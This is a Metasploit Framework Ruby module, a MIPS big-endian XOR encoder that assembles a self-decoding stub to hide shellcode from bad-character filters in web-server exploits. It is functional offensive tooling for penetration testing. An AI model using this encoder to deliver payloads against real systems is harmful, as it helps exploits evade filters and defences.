modules/encoders/mipsbe/byte_xori.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasm'
class MetasploitModule < Msf::Encoder::Xor
Rank = NormalRanking
def initialize
super(
'Name' => 'Byte XORi Encoder',
'Description' => %q{
Mips Web server exploit friendly xor encoder. This encoder has been found useful on
situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS
architectures, this one is based on the xori instruction.
},
'Author' =>
[
'Julien Tinnes <julien[at]cr0.org>', # original longxor encoder, which this one is based on
'juan vazquez', # byte_xori encoder
'Pedro Ribeiro <pedrib@gmail.com>', # fix for Linux >= 2.6.11 (set up cacheflush() args properly)
],
'Arch' => ARCH_MIPSBE,
'License' => MSF_LICENSE,
'Decoder' =>
{
'KeySize' => 1,
'BlockSize' => 1,
'KeyPack' => 'C',
})
end
#
# Returns the decoder stub that is adjusted for the size of the buffer
# being encoded.
#
def decoder_stub(state)
# add 4 number of passes for the space reserved for the key, at the end of the decoder stub
# (see commented source)
number_of_passes=state.buf.length+4
raise EncodingError.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 32766
# 16-bits not (again, see also commented source)
reg_14 = (number_of_passes+1)^0xFFFF
reg_5 = state.buf.length^0xFFFF
decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), <<EOS).encoded.data
main:
li macro reg, imm
addiu reg, $0, imm ; 0x24xxyyyy - xx: reg #, yyyy: imm # imm must be equal or less than 0x7fff
endm
li ($14, #{reg_14}) ; 0x240exxxx - store in $14 the number of passes (two's complement) - xxxx (number of passes)
nor $14, $14, $0 ; 0x01c07027 - get in $14 the number of passes
li ($11,-84) ; 0x240bffac - store in $11 the offset to the end of the decoder (two's complement) (from the addu instr)
; acts as getpc
next:
bltzal $8, next ; 0x0510ffff - branch to next if $8 < 0, store return address in $31 ($ra); pipelining executes next instr.
slti $8, $0, 0x#{slti_imm(state)} ; 0x2808xxxx - Set $8 = 0; Set $8 = 1 if $0 < imm; else $8 = 0 / xxxx: imm
nor $11, $11, $0 ; 0x01605827 - get in $11 the offset to the end of the decoder (from the addu instr)
addu $25, $31, $11 ; 0x03ebc821 - get in $25 a pointer to the end of the decoder stub
addu $16, $31, $11 ; $16 too (used to set up the cacheflush() arg down below)
slti $23, $0, 0x#{slti_imm(state)} ; 0x2817xxxx - Set $23 = 0 (Set $23 = 1 if $0 < imm; else $23 = 0) / xxxx: imm
lb $17, -1($25) ; 0x8f31fffc - Load xor key in $17 (stored on the last byte of the decoder stub)
; Init $6 and $15
li ($13, -4) ; 0x240dfffc - $13 = -4
nor $6, $13, $0 ; 0x01a03027 - $6 = 3 ; used to easily get the cacheflush parameter
addi $15, $6, -2 ; 0x20cffffe - $15 = 1 ($15 = decoding loop counter increment)
; In order avoid null bytes, decode also the xor key, so memory can be
; referenced with offset -1
loop:
lb $8, -4($25) ; 0x8f28fffc - Load in $8 the byte to decode
addu $23, $23, $15 ; 0x02efb821 - Increment the counter ($23)
xori $3, $8, 0x#{padded_key(state)} ; 0x01111826 - xori decoding instruction, store the decoded byte on $3
#{set_on_less_than(state)} ; 0x02eef0xx - $30 = 1 if $23 < $14; else $30 = 0 (update branch condition) / xx: 0x2b if slti, 0x2a if slt
sb $3, -4($25) ; 0xaf23fffc - Store decoded byte on memory
bne $0, $30, loop ; 0x17c0fff9 - branch to loop if $30 != 0 (ranch while bytes to decode)
addu $25, $25, $15 ; 0x032dc821 - next instruction to decode, executed because of the pipelining
addiu $4, $16, -4 ; cacheflush() addr parameter
li( $10,#{reg_5}) ; cacheflush() nbytes parameter
nor $5, $10, $0 ; same as above
li ($2, 4147) ; 0x24021033 - cacheflush system call
syscall 0x52950 ; 0x014a540c
nop ; encoded shellcoded must be here (xor key right here ;) after decoding will result in a nop
EOS
return decoder
end
def padded_key(state, size=1)
key = Rex::Text.rand_text(size, state.badchars)
key << [state.key].pack("C")
return key.unpack("n")[0].to_s(16)
end
# Returns an two-bytes immediate value without badchars. The value must be
# on the 0x8000-0x8fff so it is used as negative value by slti (set less
# than signed immediate)
def slti_imm(state)
imm = Rex::Text.rand_text(2, state.badchars + (0x00..0x7f).to_a.pack("C*"))
return imm.unpack("n")[0].to_s(16)
end
# Since 0x14 contains the number of passes, and because of the li macro, can't be
# longer than 0x7fff, both sltu (unsigned) and slt (signed) operations can be used
# here
def set_on_less_than(state)
instructions = {
"sltu $30, $23, $14" => "\x02\xee\xf0\x2b", # set less than unsigned
"slt $30, $23, $14" => "\x02\xee\xf0\x2a" # set less than
}
instructions.each do |k,v|
if Rex::Text.badchar_index(v, state.badchars) == nil
return k
end
end
raise BadcharError.new,
"The #{self.name} encoder failed to encode the decoder stub without bad characters.",
caller
end
def encode_finalize_stub(state, stub)
# Including the key into the stub by ourselves because it should be located
# in the last 4 bytes of the decoder stub. In this way decoding will convert
# these bytes into a nop instruction (0x00000000). The Msf::Encoder only supports
# one decoder_key_offset position
real_key = state.key
stub[-4, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
stub[-3, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
stub[-2, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
stub[-1, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
return stub
end
end